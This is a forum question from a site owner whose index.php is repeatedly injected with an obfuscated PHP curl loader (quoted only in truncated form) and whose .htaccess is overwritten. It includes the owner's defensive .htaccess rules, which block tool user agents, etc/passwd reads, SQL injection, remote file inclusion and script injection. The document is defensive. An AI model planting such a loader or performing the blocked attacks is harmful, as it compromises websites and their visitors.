.htaccess file is always hacked without a reason - .htaccess

Question

A website is always hacked by adding a line in 2nd line of index.php page starts with:
error_reporting(0);header('Content-Type: text/html; charset=utf-8');$.................... curl_setopt($OooOOOO,CURLOPT_URL,$OooO);curl_setopt($OooOOOO,CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($OooOOOO,CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($OooOOOO,CURLO .....................
same time the .htaccess is emptied, and replaced by the below code
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
i can't know how to track this hacking, and what to put else in .htaccess, i'm already putting the below in .htaccess:
Options All -Indexes
.....
.....
<IfModule mod_expires.c>
ExpiresActive On
ExpiresByType text/html "access 1 month"
ExpiresByType application/pdf "access 1 month"
ExpiresByType text/x-javascript "access 1 month"
ExpiresByType application/x-shockwave-flash "access 1 month"
ExpiresByType image/x-icon "access 1 year"
ExpiresDefault "access 1 month"
</IfModule>
# Prevent viewing of htaccess file
<Files ~ "^\.ht">
order allow,deny
deny from all
satisfy all
</Files>
.....
<IfModule mod_rewrite.c>
RewriteEngine On
....
....
</IfModule>
....
....
################################## don't edit below ####################
<FilesMatch "\.(ttf|otf|eot|woff|woff2)$">
<IfModule mod_headers.c>
Header set Access-Control-Allow-Origin "*"
</IfModule>
</FilesMatch>
#disble viewing htaccess
<files ~ "^.*\.([Hh][Tt][Aa])">
order allow,deny
deny from all
satisfy all
</files>
# Block suspicious request methods
RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK|DEBUG) [NC]
RewriteRule ^(.*)$ - [F,L]
# Block WP timthumb hack
RewriteCond %{REQUEST_URI} (timthumb\.php|phpthumb\.php|thumb\.php|thumbs\.php) [NC]
RewriteRule . - [S=1]
# Block suspicious user agents and requests
RewriteCond %{HTTP_USER_AGENT} (libwww-perl|wget|python|nikto|curl|scan|java|winhttp|clshttp|loader) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (<|>|'|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]
RewriteCond %{THE_REQUEST} \?\ HTTP/ [NC,OR]
RewriteCond %{THE_REQUEST} \/\*\ HTTP/ [NC,OR]
RewriteCond %{THE_REQUEST} etc/passwd [NC,OR]
RewriteCond %{THE_REQUEST} cgi-bin [NC,OR]
RewriteCond %{THE_REQUEST} (%0A|%0D) [NC,OR]
# Block MySQL injections, RFI, base64, etc.
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=http:// [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=(\.\.//?)+ [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=/([a-z0-9_.]//?)+ [NC,OR]
RewriteCond %{QUERY_STRING} \=PHP[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12} [NC,OR]
RewriteCond %{QUERY_STRING} (\.\./|\.\.) [OR]
RewriteCond %{QUERY_STRING} ftp\: [NC,OR]
RewriteCond %{QUERY_STRING} http\: [NC,OR]
RewriteCond %{QUERY_STRING} https\: [NC,OR]
RewriteCond %{QUERY_STRING} \=\|w\| [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)/self/(.*)$ [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)cPath=http://(.*)$ [NC,OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*iframe.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (<|%3C)([^i]*i)+frame.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [NC,OR]
RewriteCond %{QUERY_STRING} base64_(en|de)code[^(]*\([^)]*\) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} ^.*(\[|\]|\(|\)|<|>).* [NC,OR]
RewriteCond %{QUERY_STRING} (NULL|OUTFILE|LOAD_FILE) [OR]
RewriteCond %{QUERY_STRING} (\./|\../|\.../)+(motd|etc|bin) [NC,OR]
RewriteCond %{QUERY_STRING} (localhost|loopback|127\.0\.0\.1) [NC,OR]
RewriteCond %{QUERY_STRING} (<|>|'|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]
RewriteCond %{QUERY_STRING} concat[^\(]*\( [NC,OR]
RewriteCond %{QUERY_STRING} union([^s]*s)+elect [NC,OR]
RewriteCond %{QUERY_STRING} union([^a]*a)+ll([^s]*s)+elect [NC,OR]
RewriteCond %{QUERY_STRING} (sp_executesql) [NC]
RewriteRule ^(.*)$ - [F,L]
# Deny browser access to config files
<FilesMatch ".(txt)$">
order allow,deny
deny from all
</FilesMatch>
<FilesMatch "^(install\.php|setup\.php|wp-config\.php|config\.php|configuration\.php|php\.ini|php5\.ini|bb-config\.php|db.php)">
Order allow,deny
Deny from all
#Allow from 1.2.3.4
</FilesMatch>
<IfModule mod_headers.c>
# WEEK
<FilesMatch "\.(jpg|jpeg|png|gif|swf)$">
Header set Cache-Control "max-age=604800, public"
</FilesMatch>
# WEEK
<FilesMatch "\.(js|css|swf)$">
Header set Cache-Control "max-age=604800"
</FilesMatch>
</IfModule>
# php -- BEGIN cPanel-generated handler, do not edit
# Set the “alt-php56” package as the default “PHP” programming language.
<IfModule mime_module>
AddHandler application/x-httpd-alt-php56 .php .php5 .phtml
</IfModule>
# php -- END cPanel-generated handler, do not edit